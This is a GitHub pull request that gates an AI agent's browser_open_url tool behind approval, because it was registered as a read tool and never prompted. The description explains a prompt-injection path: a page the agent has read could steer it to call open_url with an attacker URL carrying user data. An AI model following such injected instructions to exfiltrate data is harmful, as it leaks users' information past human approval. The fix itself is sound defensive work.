fix(tools): gate browser_open_url as a write - #493
Open
AliAltivate wants to merge 1 commit into
Open
Conversation
The tool was registered kind='read', so approval_for_tool() never gated it
and the model could navigate a real browser to a URL of its choosing with
no prompt — an outbound exfiltration channel (a page the agent already read
can steer it to `open_url("https://attacker/x?d=<data>")`). Its own inline
comment claimed it was approval gated; now it is. Fixes andrewyng#399.
Author
|
Hi — just a friendly ping on this one. It's a small fix with a test included; would appreciate a review whenever you get a chance. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The tool was registered kind='read', so approval_for_tool() never gated it and the model could navigate a real browser to a URL of its choosing with no prompt — an outbound exfiltration channel (a page the agent already read can steer it to
open_url("https://attacker/x?d=<data>")). Its own inline comment claimed it was approval gated; now it is.Fixes #399.